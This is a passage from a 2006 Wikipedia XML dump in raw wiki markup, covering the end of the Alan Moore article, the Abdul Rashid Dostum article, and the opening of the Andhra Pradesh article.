Many of Moore's stories dealt with social ills as seen through horror metaphors.  Sexual discrimination, racism, violence, fear of nuclear energy, and pollution are all themes addressed in his work. The series was formally ambitious, using unusual story structures and experimenting with different ways to combine text and image for narrative effect. The slow, languorous pace of Steve Bissette's layouts, the intricate textures of John Totleben's inks, and [[Tatjana Wood]]'s imaginative and atmospheric use of colour were all put to good use.

The series also revitalised DC's neglected magical and supernatural characters, featuring the [[Spectre (comics)|Spectre]], the [[The Demon (comics)|Demon]], the [[Phantom Stranger]], [[Deadman]] and others in supporting roles. At the prompting of Bissette and Totleben, who were fans of [[The Police]] and wanted to draw a character who looked like [[Sting (musician)|Sting]] (specifically his character from the film [[Brimstone and Treacle]]), Moore created his own magical character, [[Hellblazer|John Constantine]], who would go on to headline a title of his own, ''Hellblazer'', that is the longest continuously published comic of DC's [[Vertigo (comics)|Vertigo]] imprint.

Moore's ''Swamp Thing'' was enormously influential in showing a larger audience that genre comics could address serious issues and take on literary pretensions. DC followed ''Swamp Thing'''s success by recruiting British writers like [[Grant Morrison]], [[Jamie Delano]], [[Peter Milligan]] and [[Neil Gaiman]] to write comics in a similar vein, often involving radical revamps of obscure characters, and thus laid the foundation of what became the Vertigo line.

Gaiman in particular was strongly influenced by Moore's ''Swamp Thing'' work: his ''[[Black Orchid]]'', ''[[Books of Magic]]'' and many early ''[[The Sandman (DC Comics Modern Age)|Sandman]]'' stories are largely derived from Moore's innovations.

===Watchmen===
{{main|Watchmen}}

[[Image:Watchmencharacters.jpg|left|150px|thumb|The cast of ''[[Watchmen]]'', clockwise from top: Dr. Manhattan, the Comedian, Ozymandias, Nite Owl, Rorschach, Captain Metropolis, the Silk Spectre. Art by [[Dave Gibbons]].]]

Moore's most popular comic work, ''Watchmen'' , is about superheroes who have been affected by real world politics.  [[McCarthyism]], the [[Vietnam War]], and the [[Cold War]] have unhinged the current superhero generation.

''Watchmen'' deconstructed the superhero, looking at the moral, psychological, and sexual implications of their activities.  His most far reaching work to date, ''Watchmen'' addressed such issues as free will, the nature of time, human psychology, global politics, and moral relativism.

''Watchmen'' incorporated cinema style transitions and voice overs.  It avoided the then typically-used comic book thought bubble.

''Watchmen'' is the only comic to be granted an honorary [[Hugo award]]. Moore said it was his final statement on superheroes, and, upon completing his commitment of ''Miracleman'', retired from mainstream comics.

The copyright of ''Watchmen'' would revert to Moore and artist Dave Gibbons if it is ever taken out of print; it has been constantly successful&amp;ndash;it remains in print (and under the control of DC) to this day.

===Supreme===
{{main|Supreme (comics)}}
Moore was asked by publisher Rob Liefeld to write further adventures of ''Supreme'', Liefeld's violent, inconsistently-written Superman knockoff.  Moore agreed on the condition that he could throw out everything previously done with the character, as he felt the comic was not very good, and turned the series into a post-modern homage to the innocence and imagination of [[Mort Weisinger]]'s Superman.

Beginning with issue #41, Moore began developing a new approach to comic storytelling and the Superhero.  ''Supreme'' is a complex comic, containing layers upon layers of metafiction, each issue containing further comment on the nature of comics history, storytelling, and the Superman mythos.

Supreme's secret identity is Ethan Crane, a mild-mannered artist for Dazzle Comics.  When not saving the world as the archetypical superhero, he illustrates the adventures of Omniman, an ultra-violent Supreme-like character going under a relaunch with a change of writers.  In the first issue, Supreme discovers he is living in the most recent &quot;revision,&quot; as reality is an ever-changing story and there have been many versions of himself who came before.  Retired Supremes live in the &quot;Supremacy&quot;, an afterlife for characters whose stories have come to an end.  

Supreme learns that his memories are &quot;backstory&quot; gradually being filled in until his real memories are indistinguishable from the filled-in, never-happened ones of the past.  Flashback Supreme sequences are told in the comic style of the era, reflecting different periods of comics history.

Moore's run on Supreme has been collected in two trade paperback volumes, &quot;Story Of The Year&quot; and &quot;The Return&quot;.

===From Hell===
{{main|From Hell}}

[[Image:From hell tpb.jpg|right|thumb|The cover of the ''From Hell'' collected edition. Art by [[Eddie Campbell]].]]

''From Hell'' is, in a different way, as intricately constructed as ''Watchmen'', but this time the intricacy is not of form but of message. It was partly inspired by [[Douglas Adams]]' novel ''[[Dirk Gently's Holistic Detective Agency]]''; to solve a crime [[holism|holistically]], one would need to solve the entire society it occurred in. Moore's take on the [[Jack the Ripper]] murders is not a &quot;[[whodunit]]&quot;: he spells out his (fictional) culprit and the reasons for his actions very early on. ''From Hell'' takes [[Stephen Knight]]'s largely discredited ''Final Solution'', slightly modified, as its starting point (see [[Jack the Ripper royal conspiracy theories]]): the killer is Sir [[William Withey Gull]], the royal surgeon, silencing all those who knew about [[Prince Albert Victor, Duke of Clarence|Prince Albert Victor]]'s illegitimate child. But as Gull remarks, &quot;Averting Royal embarrassment is but the fraction of my work that's visible above the waterline.&quot;

The murders are an occult ritual, a complex sacrifice using Victorian [[London]] itself as an altar. The symbolism of London's landmarks is explored in a ''tour de force'' chapter, in which Gull explains his motives to his uncomprehending coachman. Women had power over men once, Gull believes, and the irrational, [[Dionysus|Dionysian]] unconscious mind once dominated the rational, [[Apollo|Apollonian]] conscious mind. Gull is reason's lunatic, carrying out an act of magic to enforce the rational, masculine hegemony. Following the murder of Marie Kelly, Gull claims to have &quot;delivered&quot; the twentieth century, a mysterious statement perhaps clarified by the conception of [[Adolf Hitler]], depicted at the beginning of Chapter 5, which must have taken place in the month of the murders.

On a more prosaic level, Moore indicts the inequalities of Victorian society, contrasting Gull and the wealthy circles he moves in with the hand-to-mouth existence of the women he targets, the moral disgust shown at the peccadilloes of the poor with the depths the rich are prepared to sink to to protect the appearance of propriety, the imaginary [[Anti-Semitism|anti-Semitic]] conspiracy theories which divert the police's investigations with the real conspiracy that controls them. Just about every notable figure of the period is connected with the events in some way, from [[Joseph Merrick]], the &quot;Elephant Man&quot;, to [[Oscar Wilde]], from the [[Indigenous peoples of the Americas|Native American]] writer [[Black Elk]] to [[William Morris]], the artist [[Walter Sickert]] to [[Aleister Crowley]], who makes a brief appearance as a young boy in short trousers, sucking on a candy cane, and lecturing the police about magic.

Almost none of this made it into the film adaptation, which merely dramatised Knight's theory as a &quot;whodunnit&quot;, with the addition of a psychic, [[opium]]-addicted police detective, who bears some superficial similarities to Sherlock Holmes.  The finished film thus has many points of comparison with the 1979 [[Bob Clark]]-directed ''[[Murder by Decree]]'', which featured Holmes catching the Ripper in a dramatisation of the Knight theory.

Moore has always been at pains to point out that ''From Hell'' is fiction, and that he used Knight's theory for its artistic potential rather than its accuracy, yet he included an &quot;author's statement&quot; in the serialised publication of the epilogue which consisted of a blown-up panel from the prologue, depicting the psychic [[Robert Lees (psychic)|Robert Lees]] confessing that although his visions were accurate, they were fraudulent: &quot;I made it all up, and it all came true anyway. That's the funny part.&quot;

==Prose==
Moore has written a novel, ''[[Voice of the Fire]]'', a set of short stories about linked events in his home-town of Northampton through the centuries, from the [[Bronze Age]] to the present day.

==Film==
Moore has written one [[screenplay]], the unmade ''Fashion Beast'', a recreation  of ''[[Beauty and the Beast]]'' commissioned by [[Malcolm McLaren]]. Two of his comics, ''From Hell'' and ''The League of Extraordinary Gentlemen'', have been made into Hollywood movies, and the film ''Constantine'' was based upon the character John Constantine, which Moore created during his ''Swamp Thing'' run; however, Moore has been disappointed by the adaptations and refused to accept any money for any future film adaptations of his work, donating it instead to the artists with whom he created the respective characters. Nonetheless, a film of ''V for Vendetta'' is due for release in March 2006, written by the [[Wachowski brothers]] and starring [[Natalie Portman]]. Again, Moore requested that his name not be associated with the film, after seeing the script and calling it &quot;imbecilic&quot;. After a press release falsely reported that Moore supported the film, Moore cut all of his ties with [[DC Comics]], removing the last project he had with the company, ''The League of Extraordinary Gentlemen'', from their lineup.

==Music and performance art==
Alan Moore has also made brief forays into music. Notably, with ex-[[Bauhaus (band)|Bauhaus]] musician [[David Jay]] and [[Max Akropolis]], he formed a band known as [[The Sinister Ducks]] and released a single, &quot;March of the Sinister Ducks&quot;, under the pseudonym Translucia Baboon. Moore and Jay also released a [[12-inch single]] featuring a recording of &quot;Vicious Cabaret&quot;, from ''V for Vendetta''. He has also performed with the Northampton band Emperors of Ice Cream.

Moore is a practising magician, having become a [[Gnosticism|gnostic]] in the mid-1990s, and part of a [[performance art]] group, the Moon and Serpent Grand Egyptian Theatre of Marvels. Several of their pieces have been released on CD, and two, ''[[The Birth Caul]]'' and ''[[Snakes and Ladders]]'', have been adapted for comics by [[Eddie Campbell]].

==Partial list of published work==
===Comics===
*''[[1963 (comic)|1963]]'', 6 issues (1993), [[Image Comics]]; with [[Stephen R. Bissette]], [[Rick Veitch]] and others, 
*''Alan Moore's Shocking Futures'' (1986), [[Titan Books]]; reprints a selection of ''[[Future Shocks]]'' short strips originally published in ''[[2000 AD (comic) | 2000 AD]]'' between 1981 and 1983, with various artists. ISBN 0907610714
*''Alan Moore's Twisted Times'' (1987), Titan Books; reprints a selection of ''Time Twisters'' short strips originally published in ''2000 AD'' between 1980 and 1983, with various artists. ISBN 0907610722
*''[[Albion (comics)|Albion]]'', 6 issues (2005), Wildstorm (plotted by Alan Moore, written by [[Leah Moore]] &amp; [[John Reppion]]
* ''[[The Ballad of Halo Jones]]'', with [[Ian Gibson (artist)|Ian Gibson]], ''[[2000 AD (comic) | 2000 AD]]'' progs 376-385, 405-415, 451-466, (1984-1986); collected in several editions by Titan Books
*''[[Batman: The Killing Joke]]'' (1988), [[DC Comics]]; with [[Brian Bolland]]
*&quot;Batman: Mortal Clay&quot;, ''Batman Annual'' #11 (1987), DC Comics; with [[George Freeman]], 
* ''[[Big Numbers]]'', 2 issues of a projected 12 (1990), [[Mad Love (comics)|Mad Love]]; with [[Bill Sienkiewicz]], 
* ''[[The Bojeffries Saga]]'': ''[[Warrior (comic)|Warrior]]'' #12, 13, 19 &amp; 20 (1983-1984), Quality Communications; ''[[Dalgoda]]'' #8 (1986), [[Fantagraphics Books]]; ''[[A1 (comics)|A1]]'' #1-4, ''A1 True Life Bikini Confidential'' (1989-1990), [[Atomeka Press]]; collected edition (1992) Tundra; with [[Steve Parkhouse]]
* ''[[Captain Britain]]'' (2002), [[Marvel Comics]]; reprinted from various Marvel UK Publications ca. 1983-1984; with [[Alan Davis]]
* ''[[DC Comics Presents]]'' #85 (September 1985) featuring [[Superman]] and [[Swamp Thing]]
* ''[[D.R. and Quinch]]'', ''[[2000 AD (comic) | 2000 AD]]'' progs 317, 350-359, 363-367 (1983-1984); collected in several editions by Titan Books; with Alan Davis
*''[[From Hell]]'': first 6 installments in ''Taboo'' #2-7 (1989-1992), SpiderBaby Graphics; 11 volumes (1991-1998), Mad Love/Tundra/[[Kitchen Sink Press]]; collected edition (1999) Eddie Campbell Comics; with [[Eddie Campbell]]
*''[[Green Lantern]]'' vol. 2 #188 (May 1985): &quot;Mogo Doesn't Socialize&quot;; with [[Dave Gibbons]])
*''[[The League of Extraordinary Gentlemen]]'' Volume 1, 6 issues (1999-2000), collected hardback edition (2001), paperback (2002), DC Comics/[[Wildstorm]]/[[America's Best Comics|ABC]]; with [[Kevin O'Neill (comics)|Kevin O'Neill]]
*''The League of Extraordinary Gentlemen'' Volume 2, 6 issues (2002-2003), collected hardback edition (2003), paperback (2004), DC Comics/Wildstorm/ABC; with Kevin O'Neill
* ''[[Lost Girls]]'': ''Taboo'' #5-7 (1991-1992), SpiderBaby Graphics; 2 issues (1995-1996) Kitchen Sink Press; with [[Melinda Gebbie]]
*''[[Marvelman]]'': ''[[Warrior (comic)|Warrior]]'' #1-21 (1982-1984), Quality Communications; ''Miracleman'' #1-16 (1985-1989), [[Eclipse Comics]]; collected in 3 volumes; with [[Garry Leach]], Alan Davis, [[John Totleben]] and others
*''Maxwell the Magic Cat'', 4 volumes (1986-1987), [[Acme Press]]; reprints weekly strip from Northants Post, originally published 1979-1986
* ''[[Meatcake]]'' #9 (1999), Fantagraphics Books; with [[Dame Darcy]] 
* ''[[Promethea]]'', 32 issues (1999-2005), collected in 5 volumes, DC Comics/Wildstorm/ABC; with [[J.H. Williams III]] and others
* &quot;Shadowplay: the Secret Team&quot;, ''[[Brought to Light]]'' (1989), Eclipse Comics; with Bill Sienkiewicz
* ''[[Skizz]]'', ''2000 AD'' progs 308-330 (1983); collected in several editions by Titan Books; with [[Jim Baikie]] 
*''[[A Small Killing]]'' (1991), [[Victor Gollancz Ltd]]; republished (2003), Avatar Press; with [[Oscar Zarate]] 
* ''[[Smax]]'', 5 issues (2003-2004), hardback and paperback collected editions (2004), DC Comics/Wildstorm/ABC; with [[Zander Cannon]]
* &quot;[[Superman]]: For the Man who has Everything&quot;, ''Superman Annual'' #11 (1985) DC Comics; with [[Dave Gibbons]]
* &quot;[[Superman: Whatever Happened to the Man of Tomorrow?]]&quot;, ''Superman'' #423 and ''[[Action Comics]]'' #583 (1986) DC Comics; with [[Curt Swan]]
* ''[[Supreme (comics)|Supreme]]'' #41-56 (1996-1998), Image Comics/Awesome Entertainment; with [[Joe Bennett]], Rick Veitch, [[Keith Giffen]], [[Dan Jurgens]], [[Stephen Platt]], [[Chris Sprouse]] and others
* ''Supreme: the Return'' #1-6 (1999-2000), Awesome Entertainment; with Chris Sprouse, Rick Veitch and others, Supreme work collected in 2 volumes by Checker Books.
* ''[[Swamp Thing]]'' #20-58, 59-61, 63-64, Annual #2 (1983-1987), DC Comics; with Stephen R. Bissette, Rick Veitch and others; collected in 6 volumes as:
**''Saga of the Swamp Thing'' (1987)
**''Swamp Thing: Love and Death'' (1990)
**''Swamp Thing: The Curse'' (2000)
**''Swamp Thing: A Murder of Crows'' (2001)
**''Swamp Thing: Earth to Earth'' (2002)
**''Swamp Thing: Reunion'' (2003)
*''[[Terra Obscura]]'' Volume 1, 6 issues (2003-2004), collected edition 2004, DC Comics/Wildstorm/ABC; with [[Peter Hogan]] and [[Yanick Paquette]]
*''Terra Obscura'' Volume 2, 6 issues (2004-2005), collected edition 2005, DC Comics/Wilsdstorm/ABC; with Peter Hogan and Yanick Paquette
*&quot;This is Information&quot;, ''9/11: Artists Respond'' Volume 1 (2002) DC Comics; with Melinda Gebbie
*''[[Tomorrow Stories]]'', 12 issues (1999-2002), collected in 2 volumes in hardback and paperback, DC Comics/Wildstorm/ABC; with various artists
*''[[Tom Strong]]'', 32 issues (to date) (1999-present), collected in 5 volumes (to date), DC Comics/Wildstorm/ABC; with Chris Sprouse and others
*''[[Tom Strong's Terrific Tales]]'', 12 issues (2002-2005), collected in 2 volumes, DC Comics/Wildstorm/ABC; with [[Steve Moore (comics)|Steve Moore]], [[Arthur Adams]] and others
*''[[Top 10 (comic)]]'', 12 issues (1999-2001), collected in 2 volumes, DC Comics/Wildstorm/ABC; with [[Gene Ha]] and Zander Cannon
*''[[V for Vendetta]]'': first two books serialised in ''Warrior'' #1-26 (1982-1985), Quality Communications; 10 issues (1988-1989) DC Comics; collected edition (1995), DC Comics; with [[David Lloyd (comic artist)|David Lloyd]]
*''[[Watchmen]]'', 12 issues (1986-1987), collected edition (1987), DC Comics; with Dave Gibbons
*''[[Wildcats (comics)|Wildcats]]'' #21-34, 50 (1995-1998), Image Comics; with [[Travis Charest]] and others
*''Yuggoth Cultures and Other Growths'', 3 issues (2003), Avatar Press; short pieces by Moore and various artists

===Novels===
* ''Voice of the Fire'', 1996, Victor Gollancz; 1997, Orion Books; republished 2003, Top Shelf Productions. This new editon features a dust jacket designed by [[Chip Kidd]], and introduction by [[Neil Gaiman]] and thirteen color plates by [[José Villarrubia]].
* He is currently working on the novel ''Jerusalem''. His previous planned prose work ''A Grimoire'' has been put on hold.

===Audio recordings===
* ''March of the Sinister Ducks'' (Single recorded by ''The Sinister Ducks'', 1983)
* ''The Birth Caul'', 1996, D.O.R.; adapted for comics by Eddie Campbell, 1999, Eddie Campbell Comics
* ''The Moon and Serpent Grand Egyptian Theatre of Marvels'', 1996, Cleopatra
* ''Brought to Light'', 1998, Codex Books
* ''The Highbury Working'', 2000, RE
* ''Angel Passage'', 2002, RE
* ''Snakes and Ladders'', 2003, RE; adapted for comics by Eddie Campbell, 2001, Eddie Campbell Comics

==Adaptations of Moore works in other media==
===Comics===
*''[[Alan Moore's The Courtyard]]'', 2 issues (2003), [[Avatar Press]]; story by Moore, adapted for comics by Antony Johnston with artwork by [[Jacen Burrows]].  Collected into softcover and hardcover editions by Avatar Press (2004).
*''Alan Moore's The Courtyard Companion'' (2004), Avatar Press; reprints Antony Johnston's script for ''Alan Moore's The Courtyard'' with annotations by NGChristakos, Moore's original short story (from which the series was adapted), new pinups/art by Jacen Burrows, and a new essay by Antony Johnson.
*''[[Alan Moore's Hypothetical Lizard]]'', 4 issues (2005), Avatar Press.
*''Alan Moore's Magic Words'' (2002), Avatar Press; song lyrics, poems and other writings by Moore, adapted for comics by various artists, with a cover by [[Juan José Ryp]]
*''Another Suburban Romance'' (2003), Avatar Press; play by Moore, adapted for comics by Antony Johnston and Juan José Ryp
*''The Birth Caul'' (1999), Eddie Campbell Comics; performance art piece adapted for comics by [[Eddie Campbell]]
*''Snakes and Ladders'' (2001), Eddie Campbell Comics; performance art piece adapted for comics by Eddie Campbell

===Films===
* ''[[From Hell]]'', 2001, adaptation directed by the [[Hughes Brothers]]
* ''[[The Mindscape of Alan Moore]]'', 2003, [[Shadowsnake Films]]
* ''[[The League of Extraordinary Gentlemen]]'', 2003, adaptation directed by [[Stephen Norrington]]
* ''[[Constantine (film)|Constantine]]'', 2005, based on the character [[John Constantine]], created by Moore in ''Swamp Thing''
* ''[[V for Vendetta]]'' (in production)
* ''[[Watchmen]]'' (in production)

===Television===
* The ''[[Justice League Unlimited]]'' episode &quot;For the Man Who Has Everything&quot; is based on the ''Superman Annual'' story by Moore with the same title.

==Source material==
===Notes===
#{{note|acid}} Brad Stone ''[http://www.comicbookresources.com/news/newsitem.cgi?id=554 Alan Moore Interview]'', [http://www.comicbookresources.com/ Comic Book Resources], [[22 October]] [[2001]], accessed [[7 January]] [[2006]]
#{{note|gutters}} Rich Johnston, ''[http://www.comicbookresources.com/columns/index.cgi?column=litg&amp;article=2153 Lying in the Gutters]'', [http://www.comicbookresources.com/ Comic Book Resources], [[23 May]] [[2005]], accessed [[7 January]] [[2006]]
#{{note|vpress}} [http://www.newsarama.com/movies/VforPressConf.htm ''V for Vendetta'' press conference transcript], [http://www.newsarama.com/ Newsarama], 2005, accessed [[7 January]] [[2006]]
#{{note|smithee}} [http://www.comicsreporter.com/index.php/alan_moore_asks_for_an_alan_smithee/ &quot;Alan Moore Asks for an Alan Smithee&quot;], [[9 November]] [[2005]], [http://www.comicsreporter.com/ The Comics Reporter], accessed [[7 January]] [[2006]]

===References===
* Efforn, Samuel (1996) [http://www.alanmooresenhordocaos.hpg.ig.com.br/artigos10.htm Taking Off the Mask  (Tirando a Máscara)] ''Invocation and Formal Presentation of the Superhero Comic in Moore and Gibbons' Watchmen'' Accessed [[June 29]] [[2005]]
* Young, Robert (2004) &quot;Zero Sum Masterpiece: The Division of Big Numbers&quot; in [[The Comics Interpreter]] #3 Vol. 2-- The definitive behind the scenes story of the demise of Moore's magnum opus.
* Groth, Gary (1990-1991), &quot;Big Words&quot;, ''[[The Comics Journal]]'' 138-140, Fantagraphics Books
* Khoury, George (2003), ''The Extraordinary Works of Alan Moore'', TwoMorrows Publishing
* Moore, Alan (1994), ''From Hell: the Compleat Scripts Book One'', Borderlands Press/SpiderBaby Graphics
* Moore, Alan (1999), &quot;Appendix I: Annotations to the Chapters&quot;, ''From Hell'', Eddie Campbell Comics
* Moulthrop, Stuart; Kaplan, Nancy; ''et al'' (1997-2000) [http://iat.ubalt.edu/moulthrop/hypertexts/wm/ Watching The Detectives], ''An Internet Companion for Readers of Watchmen''. Accessed [[June 29]] [[2005]]
* Sabin, Roger (1993), ''Adult Comics An Introduction'', Routledge
* Smoky Man &amp; Gary Spencer Millidge (eds) (2003), ''Alan Moore: Portrait of an Extraordinary Gentleman'', Abiogenesis Press

==External links==
{{wikiquote}}
* [http://fourcolorheroes.home.insightbb.com/free.html 4ColorHeroes Moore For Free]
* [http://www.alanmoorefansite.com Alan Moore Fansite]
* [http://www.sequart.com/alanmoorechronology.htm Alan Moore Chronology]
* [http://www.2000adonline.com/index.php3?zone=droid&amp;page=profiles&amp;choice=alanm 2000 AD profile]
* [http://theages.superman.ws/moore.php Alan Moore on Superman]
* [http://comicbookresources.com/columns/index.cgi?column=litg&amp;article=2153 Alan Moore on split from DC/V for Vendetta]
* [http://www.geocities.com/SoHo/6612/twilight.htm Twilight of the Superheroes proposal]

===Interviews===
*[http://www.enginecomics.co.uk/interviews/jan05/alanmoore.htm &quot;The Craft&quot;]
* [http://www.blather.net/articles/amoore/crowley1.html Blather.net interview with Moore] on magic and [[Aleister Crowley]]
* [http://www.comicbookresources.com/news/newsitem.cgi?id=4737 &quot;Chain Reaction&quot; interview transcript] - originally broadcast on [[BBC Radio 4]]
* [http://enjoyment.independent.co.uk/books/features/article324487.ece Alan Moore interview in ''The Independent'']
*[http://www.alanmooreinterview.co.uk Alan Moore Interview Index] - Links to all Moore's online interviews in chronological order

[[Category:1953 births|Moore, Alan]]
[[Category:Living people|Moore, Alan]]
[[Category:2000 AD Creators|Moore, Alan]]
[[Category:Anarchists|Moore, Alan]]
[[Category:British comics writers|Moore, Alan]]
[[Category:British science fiction writers|Moore, Alan]]
[[Category:Comic strip cartoonists|Moore, Alan]]
[[Category:Comics writers|Moore, Alan]]
[[Category:Eisner Award winners|Moore, Alan]]
[[Category:English novelists|Moore, Alan]]
[[Category:English occultists|Moore, Alan]]
[[Category:Hugo Award winning authors|Moore, Alan]]
[[Category:Natives of Northamptonshire|Moore, Alan]]
[[Category:Vegetarians|Moore, Alan]]

[[de:Alan Moore]]
[[es:Alan Moore]]
[[fi:Alan Moore]]
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  </page>
  <page>
    <title>Abdul Rashid Dostum</title>
    <id>2376</id>
    <revision>
      <id>41222572</id>
      <timestamp>2006-02-25T22:05:59Z</timestamp>
      <contributor>
        <username>Jwhayes</username>
        <id>991478</id>
      </contributor>
      <minor />
      <text xml:space="preserve">General '''Abdul Rashid Dostum''' (also '''Abdurrashid Dostum''', born 1954), a powerful ethnic [[Uzbek]] [[warlord]] is the principal leader of Afghanistan's Uzbek community. He current holds the honorific position of &quot;Chief of Staff to the Commander in Chief of the Afghan Armed Forces&quot;.

He is leader of Junbish Milli / [[Junbesh-i Melli]]-i Islami, Jombesh-e Melli Islami ([[National Islamic Movement Afghanistan]]).  He later joined the communist government, serving as defense minister for President Muhammad Najibullah, until the mujahideen defeated it in 1992.

One of the best-organized and powerful of the militia groups operated under the command of Abdul Rashid Dostum in the area around [[Sheberghan]] in [[Jawzjan province]], northern Afghanistan. Dostum had been in the Army at the time of the 1978 coup, and was a member of the [[Parcham]] faction of the PDPA. 

== Soviet - Afghan war ==

Dostum completed his national service, and had trained as a [[paratrooper]] in the 1970s, as was required by law. Following his demobilization he found employment in the oil fields around [[Sheberghan]] where he was
working at the time of the '''Saur Revolution'''. 

As the government started to arm the staff of the [[petroleum|oil]] and [[gas]] refineries—creating “groups for the defense of the revolution” - he was, on the basis of his military training, encouraged to enlist. His group, in response to increasing conflict, was deployed in the rural areas around [[Sheberghan]], under the auspices of the '''Ministry of National Security'''. 

By the mid 1980s his platoon had grown in stature, reaching a company level by at least 1987 and a regimental level, Regiment 734, by 1988. While the unit recruited throughout Jauzjan and had a relatively broad base, many of its early troops and commanders came from Dostum’s home village, Khoja Dukoh, and these represented the core of the unit at that juncture and again when it was reconstituted after 2001.

He left the army after the purge of [[Parcham]]is, and returned after the [[Soviet]] occupation began, commanding a militia battalion that became a regiment and ultimately was incorporated into the defense foces as the '''53rd Infantry Division''', but reporting directly to President [[Mohammad Najibullah]]. He then joined the '''Ministry of State Security''' and became commander of unit 374 in Jozjan. 

He defended the communist [[Democratic Republic of Afghanistan]] against the [[United States]]-backed [[mujahedin]] in the [[1980s]]. Although he was only a regional commander, he had largely raised the militia he fought with on his own.

The Jauzjani militia, as it became known, was one of the few militia forces to be used outside of its region. They were deployed in [[Qandahar]] in 1988 when Soviet forces withdrew. He also supported the [[Mikhail Gorbachev|Gorbachev]]-era Communist reforms in [[Afghanistan]].  

On [[April 18]], [[1992]], he revolted against the government of President [[Najibullah]], allying with [[Ahmed Shah Massoud]]. Together, they captured [[Kabul]], the Afghan [[capital]]. He commanded the principal militia force in [[Kabul]] that ousted Najibullah, creating episodes of [[kidnapping]], [[looting]] and [[fighting]].

== Afghan Civil War ==

In 1994, Dostum again switched sides, allying with forces of [[Gulbuddin Hekmatyar]], in once more laying siege on Kabul, this time against the government of [[Burhanuddin Rabbani]] and Massoud.  

In 1996, following the rise of the [[Taliban]] and their capture of [[Herat]] and [[Kabul]], Dostum realigned himself with Rabbani against the Taliban.  Along with General [[Mohammed Fahim]] and [[Ismail Khan]], Dostum was one of three factional leaders that comprised the [[Afghan Northern Alliance]]. Facing capture and death by Taliban forces, Dostum fled to Iran as an exile.

In 2001, he returned from exile on the heels of a [[United States|U.S.]]-led bombing campaign that drove the Taliban from power.  Since then, he has run parts of the country's north as his own [[fiefdom]], nominally serving as a deputy defense minister in the national government in Kabul but operating almost totally independent of the government.

In November of 2002, the [[United Nations]] began an investigation of alleged [[human rights]] abuses by Dostum. Witnesses claimed that Dostum jailed and tortured witnesses to prevent them from testifying in a war crimes case. Dostum is also under suspicion for the events of the [[Dasht-i-Leili massacre]].

In March 2003, he established a [[North Zone of Afghanistan]], against the wishes of interim president [[Hamid Karzai]].   On [[May 20]], [[2003]], Dostum signed an agreement to no longer serve as  Karzai's special envoy for the northern regions.  Later, Dostum reached a political compromise with Karzai, assuming the position of &quot;Chief of Staff to the Commander in Chief of the Afghan Armed Forces&quot;.  

In the aftermath of the Taliban's removal from northern Afghanistan, forces loyal to Dostum frequently clashed with forces loyal to [[Tajiks|Tajik]] General [[Mohammed Atta (Afghan warlord)|Mohammed Atta]]. Through the political mediations of the Karzai regime, the U.S.-led international military Coalition, and the NATO-led International Security Assistance Force, as well as the UN-run Disarmament, Demobilization, and Reintegration program, the Dostum-Atta feud has largely ended.  The two are now generally politically allied as part of a larger ideological effort to protect the interests of Afghanistan's war veterans and to preserve their own power.

In most ethnic-Uzbek dominated areas in which Dostum has control or influence, he encourages women to live and work freely, as well as music, sports, alcohol, and allows for people of other religions. However it is claimed that during the civil war he financed his army through [[opium]] trading. He has also been accused by people fleeing Afghanistan of being involved in human rights violations: arresting and killing people all over the country through government infrastructure. 

On March 1, 2005 he was appointed chief of staff to the head of the Afghan armed forces, by President [[Hamid Karzai]]. 

{{start box}}
{{succession box |
  before= [[Shahnawaz Tanai]] |
  title= [[Afghan Defense Ministry|Minister of Defense]]|
  years= March 1990 &amp;ndash; Unknown |
  after= Unknown |
}}
{{succession box |
  before= Unknown|
  title= [[Afghan National Army|Chief of the Army Staff]]|
  years= March 2005 &amp;ndash;  |
  after= Incumbent |
}}
{{end box}}

==External links==
*[http://news.bbc.co.uk/1/hi/world/south_asia/1563344.stm BBC online profile]
*[http://www.zmag.org/cockburndostum.htm Biography about Dostum]

[[Category:1954 births|Dostum, Abdul Rashid]]
[[Category:Living people|Dostum, Abdul Rashid]]
[[Category:Afghan people|Dostum, Abdul]]
[[Category:Warlords|Dostum, Abdul]]

[[ar:عبد الرشيد دوستم]]
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[[ja:ラシッド・ドスタム]]
[[no:Abdul Rashid Dostum]]
[[ru:Дустум, Абдул-Рашид]]
[[sl:Abdul Rašid Dostum]]</text>
    </revision>
  </page>
  <page>
    <title>Andhra Pradesh</title>
    <id>2377</id>
    <revision>
      <id>42048791</id>
      <timestamp>2006-03-03T13:09:37Z</timestamp>
      <contributor>
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      </contributor>
      <text xml:space="preserve">{{India state infobox|
state_name=Andhra Pradesh |
image_map=Map AP dist all blank.png |
capital=[[Hyderabad, India|Hyderabad]] |
latd = 17.22|longd=78.26|
largest_city=[[Hyderabad, India|Hyderabad]]|
second largest = [[Visakhapatnam, India|Visakhapatnam]]|
abbreviation=IN-AP |
official_languages=[[Telugu language|Telugu]],[[Urdu]]|
legislature_type=Unicameral |
legislature_strength=295 |
governor_name=[[Rameshwar Thakur]] |
chief_minister=[[Y.S. Rajasekhara Reddy]] |
established_date=[[October 1]] [[1953]]|
area=275,068 |
area_rank=4th |
area_magnitude=11 |
population_year=2001 |
population=75,727,000  |
population_rank=5th |
population_density=275 |
districts=23 |
website=www.aponline.gov.in |
seal=[[Image:Andhraseal.png|center]] |
footnotes = | 
}}
'''Andhra Pradesh''' ([[Telugu language|Telugu]]: ఆంధ్ర ప్రదేశ్; ''Āndhra Prādesh''), is a [[States and territories of India|state]] in south-eastern [[India]] and is part of the linguistic-cultural region of [[South India]]. It lies between 12°41' and 22°N latitude and 77° and 84°40'E longitude, and is bounded by [[Maharashtra]], [[Chhattisgarh]] and [[Orissa]] in the north, the [[Bay of Bengal]] in the East, [[Tamil Nadu]] to the south and [[Karnataka]] to the west. Andhra Pradesh is the fifth largest state in India and it forms the major link between the north and the south of India. It is the biggest and most populous state in the south of India. It is considered the [[rice]] bowl of India. The state is crisscrossed by two major rivers, the [[Godavari River|Godavari]] and [[Krishna River|Krishna]]. (&quot;Pradesh&quot; means &quot;region&quot; or &quot;state&quot;.)

==Prehistory==
Andhra society is one of the ancient societies of India. One can encounter several tales about Andhras in epics like Mahabharatam and Ramayanam, in great puranas, and Buddhist Jataka Tales. This confirms the ancient nature of Andhra society. The name Andhra is ancient and remained unchanged throughout history. [[Sanskrit]] writings from the [[7th century BCE]] describe the Andhra people as [[Aryan]]s from the north who migrated south of the [[Vindhya Range]] and mixed with [[Dravidian race|Dravidians]].

==History==
[[Image:charminar.jpg|right|thumbnail|250px|''Charminar'' or Four [[Minaret]]s in [[Hyderabad]]. Hyderabad was the capital of the Nizam kingdom and later the Nizam dominion.]]

